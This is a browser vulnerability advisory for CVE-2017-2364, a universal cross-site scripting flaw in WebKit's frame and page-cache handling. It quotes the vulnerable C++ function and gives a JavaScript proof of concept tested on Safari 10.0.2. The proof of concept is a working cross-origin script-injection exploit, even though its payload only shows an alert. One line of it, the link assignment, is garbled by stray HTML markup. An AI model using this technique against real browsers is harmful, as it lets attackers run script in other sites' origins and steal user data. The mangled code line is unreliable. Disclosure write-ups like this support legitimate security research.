` Apple WebKit: UXSS via Frame::setDocument (1).
CVE-2017-2364
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();
m_doc = newDocument.copyRef();
...
}
The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.
PoC:
"use strict";
document.write("click anywhere to start");
window.onclick = () => {
let w = open("about:blank", "one");
let d = w.document;
let a = d.createElement("a");
a.href = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>
a.click(); <<------- about:blank -> Document::InPageCache
let it = setInterval(() => {
try {
w.location.href.toString;
} catch (e) {
clearInterval(it);
let s = d.createElement("a"); <<------ about:blank's document
s.href = "javascript:alert(location)";
s.click();
}
}, 0);
};
Tested on Safari 10.0.2(12602.3.12.0.1).
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: lokihardt
`